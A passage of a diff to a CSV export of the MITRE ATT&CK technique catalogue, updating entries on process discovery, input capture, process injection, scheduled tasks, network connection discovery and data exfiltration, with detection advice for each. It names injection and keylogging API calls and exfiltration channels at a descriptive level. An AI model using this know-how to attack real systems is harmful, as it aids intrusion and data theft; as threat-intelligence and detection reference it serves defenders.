perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information discovery, collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.",,,,,False,,,['User'],"['Linux', 'macOS', 'Windows', 'Network']",False,,,2.1 -2017-05-31 21:30:48.728000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from [Process Discovery](https://attack.mitre.org/techniques/T1057) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. +Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information discovery, collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.",False,['User'],"['Linux', 'macOS', 'Windows', 'Network']",2.2,True,,,,,, +attack-pattern,attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:30:48.728Z,2020-03-26T18:05:53.130Z,Process Discovery,"Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from [Process Discovery](https://attack.mitre.org/techniques/T1057) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. -In Windows environments, adversaries could obtain details on running processes using the [Tasklist](https://attack.mitre.org/software/S0057) utility via [cmd](https://attack.mitre.org/software/S0106) or Get-Process via [PowerShell](https://attack.mitre.org/techniques/T1059/001). Information about processes can also be extracted from the output of [Native API](https://attack.mitre.org/techniques/T1106) calls such as CreateToolhelp32Snapshot. In Mac and Linux, this is accomplished with the ps command. Adversaries may also opt to enumerate processes via /proc.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1057', external_id='T1057'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/573.html', external_id='CAPEC-573')]",attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='discovery')]",2020-03-26 18:05:53.130000+00:00,Process Discovery,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Process: Process Creation', 'Command: Command Execution', 'Process: OS API Execution']",,,,,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. +In Windows environments, adversaries could obtain details on running processes using the [Tasklist](https://attack.mitre.org/software/S0057) utility via [cmd](https://attack.mitre.org/software/S0106) or Get-Process via [PowerShell](https://attack.mitre.org/techniques/T1059/001). Information about processes can also be extracted from the output of [Native API](https://attack.mitre.org/techniques/T1106) calls such as CreateToolhelp32Snapshot. In Mac and Linux, this is accomplished with the ps command. Adversaries may also opt to enumerate processes via /proc.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1057', 'external_id': 'T1057'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/573.html', 'external_id': 'CAPEC-573'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'Command: Command Execution', 'Process: OS API Execution']",,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. -Normal, benign system and network events that look like process discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",,,,,False,,,"['User', 'Administrator', 'SYSTEM']","['Linux', 'macOS', 'Windows']",,"['Administrator, SYSTEM may provide better process ownership details']",,1.2 -2017-05-31 21:30:48.323000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004)) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. [Web Portal Capture](https://attack.mitre.org/techniques/T1056/003)).","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1056', external_id='T1056'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/569.html', external_id='CAPEC-569'), ExternalReference(source_name='Adventures of a Keystroke', description='Tinaztepe, E. (n.d.). The Adventures of a Keystroke: An in-depth look into keyloggers on Windows. Retrieved April 27, 2016.', url='http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf')]",attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='collection'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='credential-access')]",2020-10-21 01:31:35.760000+00:00,Input Capture,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['John Lambert, Microsoft Threat Intelligence Center']","['Windows Registry: Windows Registry Key Modification', 'Driver: Driver Load', 'Process: OS API Execution', 'Process: Process Creation', 'File: File Modification', 'Process: Process Metadata']",,,,,"Detection may vary depending on how input is captured but may include monitoring for certain Windows API calls (e.g. `SetWindowsHook`, `GetKeyState`, and `GetAsyncKeyState`)(Citation: Adventures of a Keystroke), monitoring for malicious instances of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), and ensuring no unauthorized drivers or kernel modules that could indicate keylogging or API hooking are present.",,,,,False,,,"['Administrator', 'SYSTEM', 'root', 'User']","['Linux', 'macOS', 'Windows', 'Network']",,,,1.2 -2017-05-31 21:30:47.843000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process. +Normal, benign system and network events that look like process discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",False,"['User', 'Administrator', 'SYSTEM']","['Linux', 'macOS', 'Windows']",1.2,,"['Administrator, SYSTEM may provide better process ownership details']",,,,, +attack-pattern,attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:30:48.323Z,2021-08-24T18:21:08.497Z,Input Capture,"Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004)) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. [Web Portal Capture](https://attack.mitre.org/techniques/T1056/003)).","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1056', 'external_id': 'T1056'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/569.html', 'external_id': 'CAPEC-569'}, {'source_name': 'Adventures of a Keystroke', 'description': 'Tinaztepe, E. (n.d.). The Adventures of a Keystroke: An in-depth look into keyloggers on Windows. Retrieved April 27, 2016.', 'url': 'http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['John Lambert, Microsoft Threat Intelligence Center']","['Windows Registry: Windows Registry Key Modification', 'Driver: Driver Load', 'Process: OS API Execution', 'Process: Process Creation', 'File: File Modification', 'Process: Process Metadata']",,"Detection may vary depending on how input is captured but may include monitoring for certain Windows API calls (e.g. `SetWindowsHook`, `GetKeyState`, and `GetAsyncKeyState`)(Citation: Adventures of a Keystroke), monitoring for malicious instances of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), and ensuring no unauthorized drivers or kernel modules that could indicate keylogging or API hooking are present.",False,"['Administrator', 'SYSTEM', 'root', 'User']","['Linux', 'macOS', 'Windows', 'Network']",1.2,,,,,,, +attack-pattern,attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:30:47.843Z,2021-10-18T12:30:14.852Z,Process Injection,"Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process. There are many different ways to inject code into a process, many of which abuse legitimate functionalities. These implementations exist for every major OS but are typically platform specific. -More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel. ","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1055', external_id='T1055'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/640.html', external_id='CAPEC-640'), ExternalReference(source_name='Elastic Process Injection July 2017', description='Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.', url='https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process'), ExternalReference(source_name='ArtOfMemoryForensics', description='Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved December 20, 2017.'), ExternalReference(source_name='GNU Acct', description='GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved December 20, 2017.', url='https://www.gnu.org/software/acct/'), ExternalReference(source_name='RHEL auditd', description='Jahoda, M. et al.. (2017, March 14). redhat Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017.', url='https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing'), ExternalReference(source_name='Chokepoint preload rootkits', description='stderr. (2014, February 14). Detecting Userland Preload Rootkits. Retrieved December 20, 2017.', url='http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html'), ExternalReference(source_name='Microsoft Sysmon v6 May 2017', description='Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017.', url='https://docs.microsoft.com/sysinternals/downloads/sysmon')]",attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation')]",2021-02-09 15:43:50.029000+00:00,Process Injection,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Anastasios Pingios', 'Christiaan Beek, @ChristiaanBeek', 'Ryan Becwar']","['Module: Module Load', 'Process: OS API Execution', 'Process: Process Access', 'File: File Modification', 'File: File Metadata']","['Application control', 'Anti-virus']",,,,"Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC/NtQueueApcThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017) +More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel. ","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1055', 'external_id': 'T1055'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/640.html', 'external_id': 'CAPEC-640'}, {'source_name': 'Elastic Process Injection July 2017', 'description': 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.', 'url': 'https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process'}, {'source_name': 'ArtOfMemoryForensics', 'description': 'Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved December 20, 2017.'}, {'source_name': 'GNU Acct', 'description': 'GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved December 20, 2017.', 'url': 'https://www.gnu.org/software/acct/'}, {'source_name': 'RHEL auditd', 'description': 'Jahoda, M. et al.. (2017, March 14). redhat Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017.', 'url': 'https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing'}, {'source_name': 'Chokepoint preload rootkits', 'description': 'stderr. (2014, February 14). Detecting Userland Preload Rootkits. Retrieved December 20, 2017.', 'url': 'http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html'}, {'source_name': 'Microsoft Sysmon v6 May 2017', 'description': 'Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017.', 'url': 'https://docs.microsoft.com/sysinternals/downloads/sysmon'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Anastasios Pingios', 'Christiaan Beek, @ChristiaanBeek', 'Ryan Becwar']","['Process: Process Modification', 'Module: Module Load', 'Process: OS API Execution', 'Process: Process Access', 'File: File Modification', 'File: File Metadata']","['Application control', 'Anti-virus']","Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC/NtQueueApcThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017) Monitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process. @@ -3316,174 +3495,133 @@ Monitoring for Linux specific calls such as the ptrace system call should not ge Monitor for named pipe creation and connection events (Event IDs 17 and 18) for possible indicators of infected processes with external modules.(Citation: Microsoft Sysmon v6 May 2017) -Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ",,,,,False,,,,"['Linux', 'macOS', 'Windows']",,,,1.1 -2017-05-31 21:30:46.977000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.(Citation: TechNet Task Scheduler Security) +Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ",False,,"['Linux', 'macOS', 'Windows']",1.2,,,,,,, +attack-pattern,attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:30:46.977Z,2021-10-15T14:36:26.445Z,Scheduled Task/Job,"Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.(Citation: TechNet Task Scheduler Security) -Adversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence. These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges).","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1053', external_id='T1053'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/557.html', external_id='CAPEC-557'), ExternalReference(source_name='TechNet Task Scheduler Security', description='Microsoft. (2005, January 21). Task Scheduler and security. Retrieved June 8, 2016.', url='https://technet.microsoft.com/en-us/library/cc785125.aspx')]",attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='execution'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation')]",2021-04-20 16:31:11.405000+00:00,Scheduled Task/Job,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Prashant Verma, Paladion', 'Leo Loobeek, @leoloobeek', 'Travis Smith, Tripwire', 'Alain Homewood, Insomnia Security']","['File: File Creation', 'Container: Container Creation', 'Scheduled Job: Scheduled Job Creation', 'Command: Command Execution', 'File: File Modification', 'Process: Process Creation']",,,,,"Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. +Adversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence. These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges).","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1053', 'external_id': 'T1053'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/557.html', 'external_id': 'CAPEC-557'}, {'source_name': 'TechNet Task Scheduler Security', 'description': 'Microsoft. (2005, January 21). Task Scheduler and security. Retrieved June 8, 2016.', 'url': 'https://technet.microsoft.com/en-us/library/cc785125.aspx'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Prashant Verma, Paladion', 'Leo Loobeek, @leoloobeek', 'Travis Smith, Tripwire', 'Alain Homewood, Insomnia Security']","['File: File Creation', 'Container: Container Creation', 'Scheduled Job: Scheduled Job Creation', 'Command: Command Execution', 'File: File Modification', 'Process: Process Creation']",,"Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. -Suspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.",,,"['SYSTEM', 'Administrator', 'User']",,False,,,"['Administrator', 'SYSTEM', 'User']","['Windows', 'Linux', 'macOS', 'Containers']",True,,,2.1 -2017-05-31 21:30:46.461000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may attempt to exfiltrate data via a physical medium, such as a removable drive. In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a physical medium or device introduced by a user. Such media could be an external hard drive, USB drive, cellular phone, MP3 player, or other removable storage and processing device. The physical medium or device could be used as the final exfiltration point or to hop between otherwise disconnected systems.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1052', external_id='T1052')]",attack-pattern--e6415f09-df0e-48de-9aba-928c902b7549,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='exfiltration')]",2020-03-28 00:31:48.713000+00:00,Exfiltration Over Physical Medium,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Process: Process Creation', 'File: File Access', 'Drive: Drive Creation', 'Command: Command Execution']",,,,,Monitor file access on removable media. Detect processes that execute when removable media are mounted.,,,,,False,False,,,"['Linux', 'macOS', 'Windows']",,['Presence of physical medium or device'],,1.1 -2017-05-31 21:30:46.047000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"**This technique has been deprecated and should no longer be used.** - -Adversaries may add malicious content to an internally accessible website through an open network file share that contains the website's webroot or Web content directory (Citation: Microsoft Web Root OCT 2016) (Citation: Apache Server 2018) and then browse to that content with a Web browser to cause the server to execute the malicious content. The malicious content will typically run under the context and permissions of the Web server process, often resulting in local system or administrative privileges, depending on how the Web server is configured. - -This mechanism of shared access and remote execution could be used for lateral movement to the system running the Web server. For example, a Web server running PHP with an open network share could allow an adversary to upload a remote access tool and PHP script to execute the RAT on the system running the Web server when a specific page is visited. (Citation: Webroot PHP 2011)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1051', external_id='T1051'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/563.html', external_id='CAPEC-563'), ExternalReference(source_name='Microsoft Web Root OCT 2016', description='Microsoft. (2016, October 20). How to: Find the Web Application Root. Retrieved July 27, 2018.'), ExternalReference(source_name='Apache Server 2018', description='Apache. (n.d.). Apache HTTP Server Version 2.4 Documentation - Web Site Content. Retrieved July 27, 2018.', url='http://httpd.apache.org/docs/2.4/getting-started.html#content'), ExternalReference(source_name='Webroot PHP 2011', description='Brandt, Andrew. (2011, February 22). Malicious PHP Scripts on the Rise. Retrieved October 3, 2018.', url='https://www.webroot.com/blog/2011/02/22/malicious-php-scripts-on-the-rise/')]",attack-pattern--804c042c-cfe6-449e-bc1a-ba0a998a70db,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='lateral-movement')]",2020-03-30 13:56:55.356000+00:00,Shared Webroot,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,,,Use file and process monitoring to detect when files are written to a Web server by a process that is not the normal Web server process or when files are written outside of normal administrative time periods. Use process monitoring to identify normal processes that run on the Web server and detect processes that are not typically executed.,,,,,False,,,,['Windows'],,['Shared webroot directory on remote system'],,1.0 -2017-05-31 21:30:45.139000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network. +Suspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.",False,"['Administrator', 'SYSTEM', 'User']","['Windows', 'Linux', 'macOS', 'Containers']",2.1,True,,,"['SYSTEM', 'Administrator', 'User']",,, +attack-pattern,attack-pattern--e6415f09-df0e-48de-9aba-928c902b7549,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:30:46.461Z,2021-10-15T22:48:29.702Z,Exfiltration Over Physical Medium,"Adversaries may attempt to exfiltrate data via a physical medium, such as a removable drive. In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a physical medium or device introduced by a user. Such media could be an external hard drive, USB drive, cellular phone, MP3 player, or other removable storage and processing device. The physical medium or device could be used as the final exfiltration point or to hop between otherwise disconnected systems.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'exfiltration'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1052', 'external_id': 'T1052'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['William Cain'],"['Process: Process Creation', 'File: File Access', 'Drive: Drive Creation', 'Command: Command Execution']",,Monitor file access on removable media. Detect processes that execute when removable media are mounted.,False,,"['Linux', 'macOS', 'Windows']",1.2,,['Presence of physical medium or device'],False,,,, +attack-pattern,attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:30:45.139Z,2021-03-08T10:33:01.083Z,System Network Connections Discovery,"Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network. An adversary who gains access to a system that is part of a cloud-based environment may map out Virtual Private Clouds or Virtual Networks in order to determine what systems and services are connected. The actions performed are likely the same types of discovery techniques depending on the operating system, but the resulting information may include details about the networked cloud environment relevant to the adversary's goals. Cloud providers may have different ways in which their virtual networks operate.(Citation: Amazon AWS VPC Guide)(Citation: Microsoft Azure Virtual Network Overview)(Citation: Google VPC Overview) -Utilities and commands that acquire this information include [netstat](https://attack.mitre.org/software/S0104), ""net use,"" and ""net session"" with [Net](https://attack.mitre.org/software/S0039). In Mac and Linux, [netstat](https://attack.mitre.org/software/S0104) and lsof can be used to list current connections. who -a and w can be used to show which users are currently logged in, similar to ""net session"".","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1049', external_id='T1049'), ExternalReference(source_name='Amazon AWS VPC Guide', description='Amazon. (n.d.). What Is Amazon VPC?. Retrieved October 6, 2019.', url='https://docs.aws.amazon.com/vpc/latest/userguide/what-is-amazon-vpc.html'), ExternalReference(source_name='Microsoft Azure Virtual Network Overview', description='Annamalai, N., Casey, C., Almeida, M., et. al.. (2019, June 18). What is Azure Virtual Network?. Retrieved October 6, 2019.', url='https://docs.microsoft.com/en-us/azure/virtual-network/virtual-networks-overview'), ExternalReference(source_name='Google VPC Overview', description='Google. (2019, September 23). Virtual Private Cloud (VPC) network overview. Retrieved October 6, 2019.', url='https://cloud.google.com/vpc/docs/vpc')]",attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='discovery')]",2021-03-08 10:33:01.083000+00:00,System Network Connections Discovery,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,['Praetorian'],"['Process: Process Creation', 'Command: Command Execution', 'Process: OS API Execution']",,,,,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. +Utilities and commands that acquire this information include [netstat](https://attack.mitre.org/software/S0104), ""net use,"" and ""net session"" with [Net](https://attack.mitre.org/software/S0039). In Mac and Linux, [netstat](https://attack.mitre.org/software/S0104) and lsof can be used to list current connections. who -a and w can be used to show which users are currently logged in, similar to ""net session"".","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1049', 'external_id': 'T1049'}, {'source_name': 'Amazon AWS VPC Guide', 'description': 'Amazon. (n.d.). What Is Amazon VPC?. Retrieved October 6, 2019.', 'url': 'https://docs.aws.amazon.com/vpc/latest/userguide/what-is-amazon-vpc.html'}, {'source_name': 'Microsoft Azure Virtual Network Overview', 'description': 'Annamalai, N., Casey, C., Almeida, M., et. al.. (2019, June 18). What is Azure Virtual Network?. Retrieved October 6, 2019.', 'url': 'https://docs.microsoft.com/en-us/azure/virtual-network/virtual-networks-overview'}, {'source_name': 'Google VPC Overview', 'description': 'Google. (2019, September 23). Virtual Private Cloud (VPC) network overview. Retrieved October 6, 2019.', 'url': 'https://cloud.google.com/vpc/docs/vpc'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Praetorian'],"['Process: Process Creation', 'Command: Command Execution', 'Process: OS API Execution']",,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. -Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",,,,,False,,,"['User', 'Administrator']","['Windows', 'IaaS', 'Linux', 'macOS']",,,,2.2 -2017-05-31 21:30:44.720000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. +Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",False,"['User', 'Administrator']","['Windows', 'IaaS', 'Linux', 'macOS']",2.2,,,,,,, +attack-pattern,attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:30:44.720Z,2021-10-15T22:49:28.766Z,Exfiltration Over Alternative Protocol,"Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. Alternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel. Different protocol channels could also include Web services such as cloud storage. Adversaries may also opt to encrypt and/or obfuscate these alternate channels. -[Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048) can be done using various common operating system utilities such as [Net](https://attack.mitre.org/software/S0039)/SMB or 